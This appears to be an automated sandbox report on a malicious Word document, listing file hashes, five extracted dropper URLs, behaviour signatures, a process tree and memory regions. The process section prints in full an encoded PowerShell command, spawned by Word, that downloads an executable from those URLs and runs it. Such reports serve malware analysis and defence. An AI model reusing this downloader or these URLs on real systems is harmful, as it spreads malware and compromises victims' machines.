Analysis

  • max time kernel
    129s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    30-06-2023 12:52

General

  • Target

    Y_44605116.doc

  • Size

    175KB

  • MD5

    f8ab6670f00a035e68134a7fd4dcb264

  • SHA1

    0fd60d0c821d6aa014171a05b7678a21b05056fe

  • SHA256

    f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280

  • SHA512

    f4f48f82ec065a0e7aaa2ae57eceeaead5b5ad7ff49b73cbaf332bf5329888714a8819aa64a95aabdec6471596f299d2a2c20e4557425e4da722d99cdbe5e45c

  • SSDEEP

    3072:V4PrXcuQuvpzm4bkiaMQgAlSzgFFaMtUKIM0+oy3aQ6GamQlRQ:iDRv1m4bnQgISzgF1tU7M0+oy3aQ6GaC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.greaudstudio.com/docs/olohz_suq_munasyr/

exe.dropper

http://www.gravelrecords.com/wp-admin/5h_jns_l3s6/

exe.dropper

http://gtsouth.com/drinkmenu/38vq_z8al_r5cujfy90n/

exe.dropper

http://groncrete.com/bower_components/cvbh8_f0_84rai/

exe.dropper

http://www.gunesoluk.com/eotps/heb_x_1ehlbx9/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Y_44605116.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:824
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAFoAQwBSAE8AeQBoAGkAPQAnAFoAQQBHAFEASABuAHYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBJAFQAeQBgAFAAUgBvAGAAVABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFkAQQBTAEcAdQBlAGEAIAA9ACAAJwA1ADgAMwAnADsAJABHAEkASABFAFUAZgBoAGEAPQAnAEYAUABGAFYASABsAGQAegAnADsAJABRAE8ATQBOAFMAYgBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWQBBAFMARwB1AGUAYQArACcALgBlAHgAZQAnADsAJABaAEEATgBGAEoAbwBmAGYAPQAnAEIAUgBOAFcARABmAHUAdQAnADsAJABBAE8AQwBZAE0AcwB0AGQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAQQBKAEoAQQBsAHoAegA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAcgBlAGEAdQBkAHMAdAB1AGQAaQBvAC4AYwBvAG0ALwBkAG8AYwBzAC8AbwBsAG8AaAB6AF8AcwB1AHEAXwBtAHUAbgBhAHMAeQByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwByAGEAdgBlAGwAcgBlAGMAbwByAGQAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQBoAF8AagBuAHMAXwBsADMAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAdABzAG8AdQB0AGgALgBjAG8AbQAvAGQAcgBpAG4AawBtAGUAbgB1AC8AMwA4AHYAcQBfAHoAOABhAGwAXwByADUAYwB1AGoAZgB5ADkAMABuAC8AKgBoAHQAdABwADoALwAvAGcAcgBvAG4AYwByAGUAdABlAC4AYwBvAG0ALwBiAG8AdwBlAHIAXwBjAG8AbQBwAG8AbgBlAG4AdABzAC8AYwB2AGIAaAA4AF8AZgAwAF8AOAA0AHIAYQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwB1AG4AZQBzAG8AbAB1AGsALgBjAG8AbQAvAGUAbwB0AHAAcwAvAGgAZQBiAF8AeABfADEAZQBoAGwAYgB4ADkALwAnAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAVgBIAE0ARwB4AHAAZAA9ACcAVQBGAFkARgBFAG4AYgBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQQBBAEkAbABxAHoAIABpAG4AIAAkAFQAQQBKAEoAQQBsAHoAegApAHsAdAByAHkAewAkAEEATwBDAFkATQBzAHQAZAAuACIARABgAG8AdwBOAGwATwBgAEEAYABEAGYAaQBMAGUAIgAoACQAWABXAEEAQQBJAGwAcQB6ACwAIAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABXAEEAWgBTAFkAcABmAGcAPQAnAEYASQBMAEEAQQBuAHUAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFEATwBNAE4AUwBiAGUAZwApAC4AIgBsAGAARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABFAEEAVABlACIAKAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABNAFQAUQBQAEYAcgBsAHoAPQAnAFYATgBBAFUAQQBxAHkAdAAnADsAYgByAGUAYQBrADsAJABOAFcAUwBIAEEAbwBqAHUAPQAnAFQARQBLAEwASABpAHAAcQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAEwAVQBCAE4AcABkAGsAPQAnAEUATwBMAEoAQwB1AGQAagAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1972

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

    Filesize

    20KB

    MD5

    e91af9b7105790a872715d206e1490f2

    SHA1

    d1554135fb459bd9ef38ab0a382ca7ba4e71c8eb

    SHA256

    8cc756398671e507f77e3ea56840262c2668d070c708ad9780f6491d93889141

    SHA512

    adb18d21e6dcb94c2374f46a5bd66e2142ea6e70a54acc41944de6def60c84937ebd965676976b464f1f3e49eef9c28495be4ee0448a6879cee52626e0c4870f

  • memory/824-76-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-63-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-79-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/824-62-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-61-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-64-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-65-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-66-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-67-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-72-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-73-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-75-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-74-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-77-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-78-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-60-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-81-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-59-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-80-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-82-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-83-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/824-117-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/824-58-0x00000000004B0000-0x00000000005B0000-memory.dmp

    Filesize

    1024KB

  • memory/1972-91-0x000000001B3A0000-0x000000001B682000-memory.dmp

    Filesize

    2.9MB

  • memory/1972-92-0x0000000001F40000-0x0000000001F48000-memory.dmp

    Filesize

    32KB

  • memory/1972-93-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-94-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-95-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-96-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-97-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-98-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-99-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-100-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-90-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB

  • memory/1972-89-0x00000000027E0000-0x0000000002860000-memory.dmp

    Filesize

    512KB